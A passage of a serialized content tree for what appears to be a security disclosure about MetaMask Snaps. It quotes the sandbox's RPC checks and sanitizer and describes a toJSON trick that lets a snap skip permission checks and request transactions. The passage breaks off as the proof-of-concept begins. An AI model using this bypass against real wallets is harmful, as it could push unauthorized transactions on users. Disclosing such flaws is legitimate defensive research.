"tag":315,"props":36735,"children":36736},{"style":2652},[36737],{"type":26,"value":36738},"'wallet_'",{"type":20,"tag":315,"props":36740,"children":36741},{"style":328},[36742],{"type":26,"value":1468},{"type":20,"tag":315,"props":36744,"children":36745},{"style":334},[36746],{"type":26,"value":36747},"||\n",{"type":20,"tag":315,"props":36749,"children":36750},{"class":317,"line":383},[36751,36756,36760,36764,36768,36772,36776,36780,36784,36788,36792,36796,36800,36805],{"type":20,"tag":315,"props":36752,"children":36753},{"style":322},[36754],{"type":26,"value":36755}," String",{"type":20,"tag":315,"props":36757,"children":36758},{"style":328},[36759],{"type":26,"value":61},{"type":20,"tag":315,"props":36761,"children":36762},{"style":635},[36763],{"type":26,"value":36694},{"type":20,"tag":315,"props":36765,"children":36766},{"style":328},[36767],{"type":26,"value":61},{"type":20,"tag":315,"props":36769,"children":36770},{"style":635},[36771],{"type":26,"value":36703},{"type":20,"tag":315,"props":36773,"children":36774},{"style":328},[36775],{"type":26,"value":61},{"type":20,"tag":315,"props":36777,"children":36778},{"style":345},[36779],{"type":26,"value":36712},{"type":20,"tag":315,"props":36781,"children":36782},{"style":328},[36783],{"type":26,"value":1049},{"type":20,"tag":315,"props":36785,"children":36786},{"style":635},[36787],{"type":26,"value":36644},{"type":20,"tag":315,"props":36789,"children":36790},{"style":328},[36791],{"type":26,"value":61},{"type":20,"tag":315,"props":36793,"children":36794},{"style":635},[36795],{"type":26,"value":36729},{"type":20,"tag":315,"props":36797,"children":36798},{"style":328},[36799],{"type":26,"value":44},{"type":20,"tag":315,"props":36801,"children":36802},{"style":2652},[36803],{"type":26,"value":36804},"'snap_'",{"type":20,"tag":315,"props":36806,"children":36807},{"style":328},[36808],{"type":26,"value":5131},{"type":20,"tag":315,"props":36810,"children":36811},{"class":317,"line":407},[36812,36817],{"type":20,"tag":315,"props":36813,"children":36814},{"style":2652},[36815],{"type":26,"value":36816}," 'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":20,"tag":315,"props":36818,"children":36819},{"style":328},[36820],{"type":26,"value":643},{"type":20,"tag":315,"props":36822,"children":36823},{"class":317,"line":421},[36824],{"type":20,"tag":315,"props":36825,"children":36826},{"style":328},[36827],{"type":26,"value":36828}," );\n",{"type":20,"tag":315,"props":36830,"children":36831},{"class":317,"line":430},[36832,36836],{"type":20,"tag":315,"props":36833,"children":36834},{"style":345},[36835],{"type":26,"value":36673},{"type":20,"tag":315,"props":36837,"children":36838},{"style":328},[36839],{"type":26,"value":353},{"type":20,"tag":315,"props":36841,"children":36842},{"class":317,"line":453},[36843,36847,36852,36856,36860,36864,36868,36872,36876],{"type":20,"tag":315,"props":36844,"children":36845},{"style":334},[36846],{"type":26,"value":19374},{"type":20,"tag":315,"props":36848,"children":36849},{"style":635},[36850],{"type":26,"value":36851},"BLOCKED_RPC_METHODS",{"type":20,"tag":315,"props":36853,"children":36854},{"style":328},[36855],{"type":26,"value":61},{"type":20,"tag":315,"props":36857,"children":36858},{"style":345},[36859],{"type":26,"value":33596},{"type":20,"tag":315,"props":36861,"children":36862},{"style":328},[36863],{"type":26,"value":1049},{"type":20,"tag":315,"props":36865,"children":36866},{"style":635},[36867],{"type":26,"value":36644},{"type":20,"tag":315,"props":36869,"children":36870},{"style":328},[36871],{"type":26,"value":61},{"type":20,"tag":315,"props":36873,"children":36874},{"style":635},[36875],{"type":26,"value":36729},{"type":20,"tag":315,"props":36877,"children":36878},{"style":328},[36879],{"type":26,"value":5131},{"type":20,"tag":315,"props":36881,"children":36882},{"class":317,"line":486},[36883,36888,36892,36897,36901,36906],{"type":20,"tag":315,"props":36884,"children":36885},{"style":635},[36886],{"type":26,"value":36887}," ethErrors",{"type":20,"tag":315,"props":36889,"children":36890},{"style":328},[36891],{"type":26,"value":61},{"type":20,"tag":315,"props":36893,"children":36894},{"style":635},[36895],{"type":26,"value":36896},"rpc",{"type":20,"tag":315,"props":36898,"children":36899},{"style":328},[36900],{"type":26,"value":61},{"type":20,"tag":315,"props":36902,"children":36903},{"style":345},[36904],{"type":26,"value":36905},"methodNotFound",{"type":20,"tag":315,"props":36907,"children":36908},{"style":328},[36909],{"type":26,"value":13541},{"type":20,"tag":315,"props":36911,"children":36912},{"class":317,"line":499},[36913,36918],{"type":20,"tag":315,"props":36914,"children":36915},{"style":635},[36916],{"type":26,"value":36917}," data:",{"type":20,"tag":315,"props":36919,"children":36920},{"style":328},[36921],{"type":26,"value":1092},{"type":20,"tag":315,"props":36923,"children":36924},{"class":317,"line":513},[36925,36930,36935,36939,36943],{"type":20,"tag":315,"props":36926,"children":36927},{"style":635},[36928],{"type":26,"value":36929}," method:",{"type":20,"tag":315,"props":36931,"children":36932},{"style":635},[36933],{"type":26,"value":36934}," args",{"type":20,"tag":315,"props":36936,"children":36937},{"style":328},[36938],{"type":26,"value":61},{"type":20,"tag":315,"props":36940,"children":36941},{"style":635},[36942],{"type":26,"value":36729},{"type":20,"tag":315,"props":36944,"children":36945},{"style":328},[36946],{"type":26,"value":643},{"type":20,"tag":315,"props":36948,"children":36949},{"class":317,"line":521},[36950],{"type":20,"tag":315,"props":36951,"children":36952},{"style":328},[36953],{"type":26,"value":35615},{"type":20,"tag":315,"props":36955,"children":36956},{"class":317,"line":552},[36957],{"type":20,"tag":315,"props":36958,"children":36959},{"style":328},[36960],{"type":26,"value":36961}," }),\n",{"type":20,"tag":315,"props":36963,"children":36964},{"class":317,"line":571},[36965],{"type":20,"tag":315,"props":36966,"children":36967},{"style":328},[36968],{"type":26,"value":36828},{"type":20,"tag":315,"props":36970,"children":36971},{"class":317,"line":2031},[36972,36977,36981,36985,36989,36994,36998,37003],{"type":20,"tag":315,"props":36973,"children":36974},{"style":345},[36975],{"type":26,"value":36976}," assertStruct",{"type":20,"tag":315,"props":36978,"children":36979},{"style":328},[36980],{"type":26,"value":1049},{"type":20,"tag":315,"props":36982,"children":36983},{"style":635},[36984],{"type":26,"value":36644},{"type":20,"tag":315,"props":36986,"children":36987},{"style":328},[36988],{"type":26,"value":44},{"type":20,"tag":315,"props":36990,"children":36991},{"style":635},[36992],{"type":26,"value":36993},"JsonStruct",{"type":20,"tag":315,"props":36995,"children":36996},{"style":328},[36997],{"type":26,"value":44},{"type":20,"tag":315,"props":36999,"children":37000},{"style":2652},[37001],{"type":26,"value":37002},"'Provided value is not JSON-RPC compatible'",{"type":20,"tag":315,"props":37004,"children":37005},{"style":328},[37006],{"type":26,"value":2214},{"type":20,"tag":315,"props":37008,"children":37009},{"class":317,"line":2053},[37010],{"type":20,"tag":315,"props":37011,"children":37012},{"style":328},[37013],{"type":26,"value":577},{"type":20,"tag":29,"props":37015,"children":37016},{},[37017,37019,37024,37026,37032,37033,37039],{"type":26,"value":37018},"This function is called by the ",{"type":20,"tag":119,"props":37020,"children":37022},{"className":37021},[],[37023],{"type":26,"value":36594},{"type":26,"value":37025}," RPC provider, so it can only send methods starting with ",{"type":20,"tag":119,"props":37027,"children":37029},{"className":37028},[],[37030],{"type":26,"value":37031},"wallet_",{"type":26,"value":11534},{"type":20,"tag":119,"props":37034,"children":37036},{"className":37035},[],[37037],{"type":26,"value":37038},"snap_",{"type":26,"value":37040},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":20,"tag":29,"props":37042,"children":37043},{},[37044,37046,37051,37053,37058,37060,37066],{"type":26,"value":37045},"On the other hand, the ",{"type":20,"tag":119,"props":37047,"children":37049},{"className":37048},[],[37050],{"type":26,"value":29832},{"type":26,"value":37052}," provider only blocks methods starting with ",{"type":20,"tag":119,"props":37054,"children":37056},{"className":37055},[],[37057],{"type":26,"value":37038},{"type":26,"value":37059}," and the blocked methods. However, it requires the ",{"type":20,"tag":119,"props":37061,"children":37063},{"className":37062},[],[37064],{"type":26,"value":37065},"endowment:ethereum-provider",{"type":26,"value":37067}," permission in the snap manifest.",{"type":20,"tag":17297,"props":37069,"children":37071},{"id":37070},"execution-flow",[37072],{"type":26,"value":37073},"Execution flow",{"type":20,"tag":29,"props":37075,"children":37076},{},[37077,37079,37084,37085,37090,37092,37097,37098,37104],{"type":26,"value":37078},"Both providers (",{"type":20,"tag":119,"props":37080,"children":37082},{"className":37081},[],[37083],{"type":26,"value":36594},{"type":26,"value":9392},{"type":20,"tag":119,"props":37086,"children":37088},{"className":37087},[],[37089],{"type":26,"value":29832},{"type":26,"value":37091},") are built outside the SES container with a ",{"type":20,"tag":119,"props":37093,"children":37095},{"className":37094},[],[37096],{"type":26,"value":29908},{"type":26,"value":4852},{"type":20,"tag":35,"props":37099,"children":37102},{"href":37100,"rel":37101},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[39],[37103],{"type":26,"value":615},{"type":26,"value":2884},{"type":20,"tag":305,"props":37106,"children":37108},{"className":34346,"code":37107,"language":34348,"meta":7,"style":7}," const request = async (args: RequestArguments) => {\n assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n const sanitizedArgs = getSafeJson(args);\n this.notify({ method: 'OutboundRequest' });\n try {\n return await withTeardown(\n originalRequest(sanitizedArgs as unknown as RequestArguments),\n this as any,\n );\n } finally {\n this.notify({ method: 'OutboundResponse' });\n }\n };\n",[37109],{"type":20,"tag":119,"props":37110,"children":37111},{"__ignoreMap":7},[37112,37159,37184,37217,37252,37264,37284,37322,37342,37349,37366,37399,37406],{"type":20,"tag":315,"props":37113,"children":37114},{"class":317,"line":318},[37115,37119,37123,37127,37131,37135,37139,37143,37147,37151,37155],{"type":20,"tag":315,"props":37116,"children":37117},{"style":541},[37118],{"type":26,"value":34604},{"type":20,"tag":315,"props":37120,"children":37121},{"style":345},[37122],{"type":26,"value":29797},{"type":20,"tag":315,"props":37124,"children":37125},{"style":334},[37126],{"type":26,"value":1395},{"type":20,"tag":315,"props":37128,"children":37129},{"style":541},[37130],{"type":26,"value":34781},{"type":20,"tag":315,"props":37132,"children":37133},{"style":328},[37134],{"type":26,"value":463},{"type":20,"tag":315,"props":37136,"children":37137},{"style":635},[37138],{"type":26,"value":36644},{"type":20,"tag":315,"props":37140,"children":37141},{"style":334},[37142],{"type":26,"value":2884},{"type":20,"tag":315,"props":37144,"children":37145},{"style":322},[37146],{"type":26,"value":36653},{"type":20,"tag":315,"props":37148,"children":37149},{"style":328},[37150],{"type":26,"value":1468},{"type":20,"tag":315,"props":37152,"children":37153},{"style":541},[37154],{"type":26,"value":13222},{"type":20,"tag":315,"props":37156,"children":37157},{"style":328},[37158],{"type":26,"value":1092},{"type":20,"tag":315,"props":37160,"children":37161},{"class":317,"line":356},[37162,37167,37171,37175,37179],{"type":20,"tag":315,"props":37163,"children":37164},{"style":345},[37165],{"type":26,"value":37166}," assertSnapOutboundRequest",{"type":20,"tag":315,"props":37168,"children":37169},{"style":328},[37170],{"type":26,"value":1049},{"type":20,"tag":315,"props":37172,"children":37173},{"style":635},[37174],{"type":26,"value":36644},{"type":20,"tag":315,"props":37176,"children":37177},{"style":328},[37178],{"type":26,"value":26770},{"type":20,"tag":315,"props":37180,"children":37181},{"style":1071},[37182],{"type":26,"value":37183},"// or assertEthereumOutboundRequest(args);\n",{"type":20,"tag":315,"props":37185,"children":37186},{"class":317,"line":365},[37187,37191,37196,37200,37205,37209,37213],{"type":20,"tag":315,"props":37188,"children":37189},{"style":541},[37190],{"type":26,"value":29962},{"type":20,"tag":315,"props":37192,"children":37193},{"style":635},[37194],{"type":26,"value":37195}," sanitizedArgs",{"type":20,"tag":315,"props":37197,"children":37198},{"style":334},[37199],{"type":26,"value":1395},{"type":20,"tag":315,"props":37201,"children":37202},{"style":345},[37203],{"type":26,"value":37204}," getSafeJson",{"type":20,"tag":315,"props":37206,"children":37207},{"style":328},[37208],{"type":26,"value":1049},{"type":20,"tag":315,"props":37210,"children":37211},{"style":635},[37212],{"type":26,"value":36644},{"type":20,"tag":315,"props":37214,"children":37215},{"style":328},[37216],{"type":26,"value":2214},{"type":20,"tag":315,"props":37218,"children":37219},{"class":317,"line":374},[37220,37225,37229,37234,37238,37242,37247],{"type":20,"tag":315,"props":37221,"children":37222},{"style":541},[37223],{"type":26,"value":37224}," this",{"type":20,"tag":315,"props":37226,"children":37227},{"style":328},[37228],{"type":26,"value":61},{"type":20,"tag":315,"props":37230,"children":37231},{"style":345},[37232],{"type":26,"value":37233},"notify",{"type":20,"tag":315,"props":37235,"children":37236},{"style":328},[37237],{"type":26,"value":29913},{"type":20,"tag":315,"props":37239,"children":37240},{"style":635},[37241],{"type":26,"value":29918},{"type":20,"tag":315,"props":37243,"children":37244},{"style":2652},[37245],{"type":26,"value":37246}," 'OutboundRequest'",{"type":20,"tag":315,"props":37248,"children":37249},{"style":328},[37250],{"type":26,"value":37251}," });\n",{"type":20,"tag":315,"props":37253,"children":37254},{"class":317,"line":383},[37255,37260],{"type":20,"tag":315,"props":37256,"children":37257},{"style":525},[37258],{"type":26,"value":37259}," try",{"type":20,"tag":315,"props":37261,"children":37262},{"style":328},[37263],{"type":26,"value":1092},{"type":20,"tag":315,"props":37265,"children":37266},{"class":317,"line":407},[37267,37271,37275,37280],{"type":20,"tag":315,"props":37268,"children":37269},{"style":525},[37270],{"type":26,"value":14145},{"type":20,"tag":315,"props":37272,"children":37273},{"style":525},[37274],{"type":26,"value":34627},{"type":20,"tag":315,"props":37276,"children":37277},{"style":345},[37278],{"type":26,"value":37279}," withTeardown",{"type":20,"tag":315,"props":37281,"children":37282},{"style":328},[37283],{"type":26,"value":353},{"type":20,"tag":315,"props":37285,"children":37286},{"class":317,"line":421},[37287,37292,37296,37301,37305,37310,37314,37318],{"type":20,"tag":315,"props":37288,"children":37289},{"style":345},[37290],{"type":26,"value":37291}," originalRequest",{"type":20,"tag":315,"props":37293,"children":37294},{"style":328},[37295],{"type":26,"value":1049},{"type":20,"tag":315,"props":37297,"children":37298},{"style":635},[37299],{"type":26,"value":37300},"sanitizedArgs",{"type":20,"tag":315,"props":37302,"children":37303},{"style":525},[37304],{"type":26,"value":7224},{"type":20,"tag":315,"props":37306,"children":37307},{"style":322},[37308],{"type":26,"value":37309}," unknown",{"type":20,"tag":315,"props":37311,"children":37312},{"style":525},[37313],{"type":26,"value":7224},{"type":20,"tag":315,"props":37315,"children":37316},{"style":322},[37317],{"type":26,"value":36653},{"type":20,"tag":315,"props":37319,"children":37320},{"style":328},[37321],{"type":26,"value":5131},{"type":20,"tag":315,"props":37323,"children":37324},{"class":317,"line":430},[37325,37330,37334,37338],{"type":20,"tag":315,"props":37326,"children":37327},{"style":541},[37328],{"type":26,"value":37329}," this",{"type":20,"tag":315,"props":37331,"children":37332},{"style":525},[37333],{"type":26,"value":7224},{"type":20,"tag":315,"props":37335,"children":37336},{"style":322},[37337],{"type":26,"value":8758},{"type":20,"tag":315,"props":37339,"children":37340},{"style":328},[37341],{"type":26,"value":643},{"type":20,"tag":315,"props":37343,"children":37344},{"class":317,"line":453},[37345],{"type":20,"tag":315,"props":37346,"children":37347},{"style":328},[37348],{"type":26,"value":6139},{"type":20,"tag":315,"props":37350,"children":37351},{"class":317,"line":486},[37352,37357,37362],{"type":20,"tag":315,"props":37353,"children":37354},{"style":328},[37355],{"type":26,"value":37356}," } ",{"type":20,"tag":315,"props":37358,"children":37359},{"style":525},[37360],{"type":26,"value":37361},"finally",{"type":20,"tag":315,"props":37363,"children":37364},{"style":328},[37365],{"type":26,"value":1092},{"type":20,"tag":315,"props":37367,"children":37368},{"class":317,"line":499},[37369,37374,37378,37382,37386,37390,37395],{"type":20,"tag":315,"props":37370,"children":37371},{"style":541},[37372],{"type":26,"value":37373}," this",{"type":20,"tag":315,"props":37375,"children":37376},{"style":328},[37377],{"type":26,"value":61},{"type":20,"tag":315,"props":37379,"children":37380},{"style":345},[37381],{"type":26,"value":37233},{"type":20,"tag":315,"props":37383,"children":37384},{"style":328},[37385],{"type":26,"value":29913},{"type":20,"tag":315,"props":37387,"children":37388},{"style":635},[37389],{"type":26,"value":29918},{"type":20,"tag":315,"props":37391,"children":37392},{"style":2652},[37393],{"type":26,"value":37394}," 'OutboundResponse'",{"type":20,"tag":315,"props":37396,"children":37397},{"style":328},[37398],{"type":26,"value":37251},{"type":20,"tag":315,"props":37400,"children":37401},{"class":317,"line":513},[37402],{"type":20,"tag":315,"props":37403,"children":37404},{"style":328},[37405],{"type":26,"value":11064},{"type":20,"tag":315,"props":37407,"children":37408},{"class":317,"line":521},[37409],{"type":20,"tag":315,"props":37410,"children":37411},{"style":328},[37412],{"type":26,"value":37413}," };\n",{"type":20,"tag":29,"props":37415,"children":37416},{},[37417,37419,37424,37426,37431],{"type":26,"value":37418},"In particular, this function is from the ",{"type":20,"tag":119,"props":37420,"children":37422},{"className":37421},[],[37423],{"type":26,"value":36594},{"type":26,"value":37425}," provider, but the only thing that changes between this and ",{"type":20,"tag":119,"props":37427,"children":37429},{"className":37428},[],[37430],{"type":26,"value":29832},{"type":26,"value":37432}," is the assert function in the first line.",{"type":20,"tag":29,"props":37434,"children":37435},{},[37436],{"type":26,"value":37437},"As we can see in the code, the execution flow follows this pattern:",{"type":20,"tag":68,"props":37439,"children":37440},{},[37441,37453,37458],{"type":20,"tag":72,"props":37442,"children":37443},{},[37444,37446,37451],{"type":26,"value":37445},"Assert if ",{"type":20,"tag":119,"props":37447,"children":37449},{"className":37448},[],[37450],{"type":26,"value":36644},{"type":26,"value":37452}," are valid",{"type":20,"tag":72,"props":37454,"children":37455},{},[37456],{"type":26,"value":37457},"getSafeJson to get sanitizedArgs",{"type":20,"tag":72,"props":37459,"children":37460},{},[37461],{"type":26,"value":37462},"originalRequest(sanitizedArgs)",{"type":20,"tag":29,"props":37464,"children":37465},{},[37466,37468,37474],{"type":26,"value":37467},"Obs: ",{"type":20,"tag":119,"props":37469,"children":37471},{"className":37470},[],[37472],{"type":26,"value":37473},"originalRequest",{"type":26,"value":37475}," makes the RPC call to metamask service worker",{"type":20,"tag":219,"props":37477,"children":37479},{"id":37478},"safe-json-exploit",[37480],{"type":26,"value":37481},"Safe JSON Exploit",{"type":20,"tag":29,"props":37483,"children":37484},{},[37485,37487,37493,37495,37500,37502,37508],{"type":26,"value":37486},"As we dug further into the",{"type":20,"tag":119,"props":37488,"children":37490},{"className":37489},[],[37491],{"type":26,"value":37492},"getSafeJson",{"type":26,"value":37494}," function (defined in ",{"type":20,"tag":119,"props":37496,"children":37498},{"className":37497},[],[37499],{"type":26,"value":35712},{"type":26,"value":37501}," package) we discovered the following ",{"type":20,"tag":35,"props":37503,"children":37506},{"href":37504,"rel":37505},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[39],[37507],{"type":26,"value":119},{"type":26,"value":2884},{"type":20,"tag":305,"props":37510,"children":37512},{"className":34029,"code":37511,"language":34031,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n assertStruct(value, UnsafeJsonStruct);\n return JSON.parse(\n JSON.stringify(value, (propKey, propValue) => {\n // Strip __proto__ and constructor properties to prevent prototype pollution.\n if (propKey === '__proto__' || propKey === 'constructor') {\n return undefined;\n }\n return propValue;\n }),\n );\n});\n",[37513],{"type":20,"tag":119,"props":37514,"children":37515},{"__ignoreMap":7},[37516,37581,37608,37633,37688,37696,37743,37759,37766,37783,37790,37797],{"type":20,"tag":315,"props":37517,"children":37518},{"class":317,"line":318},[37519,37523,37528,37533,37537,37542,37546,37551,37555,37559,37564,37569,37573,37577],{"type":20,"tag":315,"props":37520,"children":37521},{"style":525},[37522],{"type":26,"value":36625},{"type":20,"tag":315,"props":37524,"children":37525},{"style":541},[37526],{"type":26,"value":37527}," const",{"type":20,"tag":315,"props":37529,"children":37530},{"style":635},[37531],{"type":26,"value":37532}," JsonStruct",{"type":20,"tag":315,"props":37534,"children":37535},{"style":334},[37536],{"type":26,"value":1395},{"type":20,"tag":315,"props":37538,"children":37539},{"style":345},[37540],{"type":26,"value":37541}," coerce",{"type":20,"tag":315,"props":37543,"children":37544},{"style":328},[37545],{"type":26,"value":1049},{"type":20,"tag":315,"props":37547,"children":37548},{"style":635},[37549],{"type":26,"value":37550},"UnsafeJsonStruct",{"type":20,"tag":315,"props":37552,"children":37553},{"style":328},[37554],{"type":26,"value":44},{"type":20,"tag":315,"props":37556,"children":37557},{"style":345},[37558],{"type":26,"value":15116},{"type":20,"tag":315,"props":37560,"children":37561},{"style":328},[37562],{"type":26,"value":37563},"(), (",{"type":20,"tag":315,"props":37565,"children":37566},{"style":635},[37567],{"type":26,"value":37568},"value",{"type":20,"tag":315,"props":37570,"children":37571},{"style":328},[37572],{"type":26,"value":1468},{"type":20,"tag":315,"props":37574,"children":37575},{"style":541},[37576],{"type":26,"value":13222},{"type":20,"tag":315,"props":37578,"children":37579},{"style":328},[37580],{"type":26,"value":1092},{"type":20,"tag":315,"props":37582,"children":37583},{"class":317,"line":356},[37584,37588,37592,37596,37600,37604],{"type":20,"tag":315,"props":37585,"children":37586},{"style":345},[37587],{"type":26,"value":36976},{"type":20,"tag":315,"props":37589,"children":37590},{"style":328},[37591],{"type":26,"value":1049},{"type":20,"tag":315,"props":37593,"children":37594},{"style":635},[37595],{"type":26,"value":37568},{"type":20,"tag":315,"props":37597,"children":37598},{"style":328},[37599],{"type":26,"value":44},{"type":20,"tag":315,"props":37601,"children":37602},{"style":635},[37603],{"type":26,"value":37550},{"type":20,"tag":315,"props":37605,"children":37606},{"style":328},[37607],{"type":26,"value":2214},{"type":20,"tag":315,"props":37609,"children":37610},{"class":317,"line":365},[37611,37616,37620,37624,37629],{"type":20,"tag":315,"props":37612,"children":37613},{"style":525},[37614],{"type":26,"value":37615}," return",{"type":20,"tag":315,"props":37617,"children":37618},{"style":635},[37619],{"type":26,"value":35944},{"type":20,"tag":315,"props":37621,"children":37622},{"style":328},[37623],{"type":26,"value":61},{"type":20,"tag":315,"props":37625,"children":37626},{"style":345},[37627],{"type":26,"value":37628},"parse",{"type":20,"tag":315,"props":37630,"children":37631},{"style":328},[37632],{"type":26,"value":353},{"type":20,"tag":315,"props":37634,"children":37635},{"class":317,"line":374},[37636,37641,37645,37650,37654,37658,37662,37667,37671,37676,37680,37684],{"type":20,"tag":315,"props":37637,"children":37638},{"style":635},[37639],{"type":26,"value":37640}," JSON",{"type":20,"tag":315,"props":37642,"children":37643},{"style":328},[37644],{"type":26,"value":61},{"type":20,"tag":315,"props":37646,"children":37647},{"style":345},[37648],{"type":26,"value":37649},"stringify",{"type":20,"tag":315,"props":37651,"children":37652},{"style":328},[37653],{"type":26,"value":1049},{"type":20,"tag":315,"props":37655,"children":37656},{"style":635},[37657],{"type":26,"value":37568},{"type":20,"tag":315,"props":37659,"children":37660},{"style":328},[37661],{"type":26,"value":7215},{"type":20,"tag":315,"props":37663,"children":37664},{"style":635},[37665],{"type":26,"value":37666},"propKey",{"type":20,"tag":315,"props":37668,"children":37669},{"style":328},[37670],{"type":26,"value":44},{"type":20,"tag":315,"props":37672,"children":37673},{"style":635},[37674],{"type":26,"value":37675},"propValue",{"type":20,"tag":315,"props":37677,"children":37678},{"style":328},[37679],{"type":26,"value":1468},{"type":20,"tag":315,"props":37681,"children":37682},{"style":541},[37683],{"type":26,"value":13222},{"type":20,"tag":315,"props":37685,"children":37686},{"style":328},[37687],{"type":26,"value":1092},{"type":20,"tag":315,"props":37689,"children":37690},{"class":317,"line":383},[37691],{"type":20,"tag":315,"props":37692,"children":37693},{"style":1071},[37694],{"type":26,"value":37695}," // Strip __proto__ and constructor properties to prevent prototype pollution.\n",{"type":20,"tag":315,"props":37697,"children":37698},{"class":317,"line":407},[37699,37704,37708,37712,37716,37721,37725,37730,37734,37739],{"type":20,"tag":315,"props":37700,"children":37701},{"style":525},[37702],{"type":26,"value":37703}," if",{"type":20,"tag":315,"props":37705,"children":37706},{"style":328},[37707],{"type":26,"value":463},{"type":20,"tag":315,"props":37709,"children":37710},{"style":635},[37711],{"type":26,"value":37666},{"type":20,"tag":315,"props":37713,"children":37714},{"style":334},[37715],{"type":26,"value":29837},{"type":20,"tag":315,"props":37717,"children":37718},{"style":2652},[37719],{"type":26,"value":37720}," '__proto__'",{"type":20,"tag":315,"props":37722,"children":37723},{"style":334},[37724],{"type":26,"value":22113},{"type":20,"tag":315,"props":37726,"children":37727},{"style":635},[37728],{"type":26,"value":37729}," propKey",{"type":20,"tag":315,"props":37731,"children":37732},{"style":334},[37733],{"type":26,"value":29837},{"type":20,"tag":315,"props":37735,"children":37736},{"style":2652},[37737],{"type":26,"value":37738}," 'constructor'",{"type":20,"tag":315,"props":37740,"children":37741},{"style":328},[37742],{"type":26,"value":549},{"type":20,"tag":315,"props":37744,"children":37745},{"class":317,"line":421},[37746,37750,37755],{"type":20,"tag":315,"props":37747,"children":37748},{"style":525},[37749],{"type":26,"value":14145},{"type":20,"tag":315,"props":37751,"children":37752},{"style":541},[37753],{"type":26,"value":37754}," undefined",{"type":20,"tag":315,"props":37756,"children":37757},{"style":328},[37758],{"type":26,"value":1405},{"type":20,"tag":315,"props":37760,"children":37761},{"class":317,"line":430},[37762],{"type":20,"tag":315,"props":37763,"children":37764},{"style":328},[37765],{"type":26,"value":11064},{"type":20,"tag":315,"props":37767,"children":37768},{"class":317,"line":453},[37769,37774,37779],{"type":20,"tag":315,"props":37770,"children":37771},{"style":525},[37772],{"type":26,"value":37773}," return",{"type":20,"tag":315,"props":37775,"children":37776},{"style":635},[37777],{"type":26,"value":37778}," propValue",{"type":20,"tag":315,"props":37780,"children":37781},{"style":328},[37782],{"type":26,"value":1405},{"type":20,"tag":315,"props":37784,"children":37785},{"class":317,"line":486},[37786],{"type":20,"tag":315,"props":37787,"children":37788},{"style":328},[37789],{"type":26,"value":36961},{"type":20,"tag":315,"props":37791,"children":37792},{"class":317,"line":499},[37793],{"type":20,"tag":315,"props":37794,"children":37795},{"style":328},[37796],{"type":26,"value":36828},{"type":20,"tag":315,"props":37798,"children":37799},{"class":317,"line":513},[37800],{"type":20,"tag":315,"props":37801,"children":37802},{"style":328},[37803],{"type":26,"value":33753},{"type":20,"tag":29,"props":37805,"children":37806},{},[37807,37809,37815,37817,37822,37824,37830,37832,37838],{"type":26,"value":37808},"The function performs a ",{"type":20,"tag":119,"props":37810,"children":37812},{"className":37811},[],[37813],{"type":26,"value":37814},"JSON.parse(JSON.stringify(value))",{"type":26,"value":37816}," in the argument sent to ",{"type":20,"tag":119,"props":37818,"children":37820},{"className":37819},[],[37821],{"type":26,"value":37492},{"type":26,"value":37823},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":20,"tag":119,"props":37825,"children":37827},{"className":37826},[],[37828],{"type":26,"value":37829},"toJSON",{"type":26,"value":37831}," function in a legit ",{"type":20,"tag":119,"props":37833,"children":37835},{"className":37834},[],[37836],{"type":26,"value":37837},"snap.request",{"type":26,"value":37839}," argument:",{"type":20,"tag":68,"props":37841,"children":37842},{},[37843,37848,37853],{"type":20,"tag":72,"props":37844,"children":37845},{},[37846],{"type":26,"value":37847},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":20,"tag":72,"props":37849,"children":37850},{},[37851],{"type":26,"value":37852},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":20,"tag":72,"props":37854,"children":37855},{},[37856],{"type":26,"value":37857},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":20,"tag":29,"props":37859,"children":37860},{},[37861],{"type":26,"value":37862},"The assertion bypass can be useful on two occasions:",{"type":20,"tag":68,"props":37864,"children":37865},{},[37866,37871],{"type":20,"tag":72,"props":37867,"children":37868},{},[37869],{"type":26,"value":37870},"forward blocked RPC methods",{"type":20,"tag":72,"props":37872,"children":37873},{},[37874,37876,37881,37883,37889,37891,37896],{"type":26,"value":37875},"Making requests in ",{"type":20,"tag":119,"props":37877,"children":37879},{"className":37878},[],[37880],{"type":26,"value":37837},{"type":26,"value":37882}," that were only supposed to be done within ",{"type":20,"tag":119,"props":37884,"children":37886},{"className":37885},[],[37887],{"type":26,"value":37888},"ethereum.request",{"type":26,"value":37890}," (with ",{"type":20,"tag":119,"props":37892,"children":37894},{"className":37893},[],[37895],{"type":26,"value":37065},{"type":26,"value":37897}," enabled).",{"type":20,"tag":29,"props":37899,"children":37900},{},[37901],{"type":26,"value":37902},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":20,"tag":219,"props":37904,"children":37905},{"id":4055},[37906],{"type":26,"value":4058},{"type":20,"tag":29,"props":37908,"children":37909},{},[37910],{"type":26,"value":37911},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":20,"tag":29,"props":37913,"children":37914},{},[37915],{"type":20,"tag":2308,"props":37916,"children":37918},{"alt":7,"src":37917},"/posts/metamask-snaps/note.png",[],{"type":20,"tag":219,"props":37920,"children":37922},{"id":37921},"proof-of-concept",[37923],{"type":26,"value":33244},{"type":20,"tag":29,"props":37925,"children":37926},{},[37927,37929,37934,37936,37941,37943,37949],{"type":26,"value":37928},"To demonstrate the issue, we created a snap without the ",{"type":20,"tag":119,"props":37930,"children":37932},{"className":37931},[],[37933],{"type":26,"value":37065},{"type":26,"value":37935}," permission, and used the ",{"type":20,"tag":119,"props":37937,"children":37939},{"className":37938},[],[37940],{"type":26,"value":36594},{"type":26,"value":37942}," interface to call ",{"type":20,"tag":119,"props":37944,"children":37946},{"className":37945},[],[37947],{"type":26,"value":37948},"eth_sendTransaction",{"type":26,"value":37950},". According to the documentation, this shouldn't be possible:",{"type":20,"tag":305,"props":37952,"children":37954},{"className":34029,"code":37953,"language":34031,"meta":7,"style":7},"import { 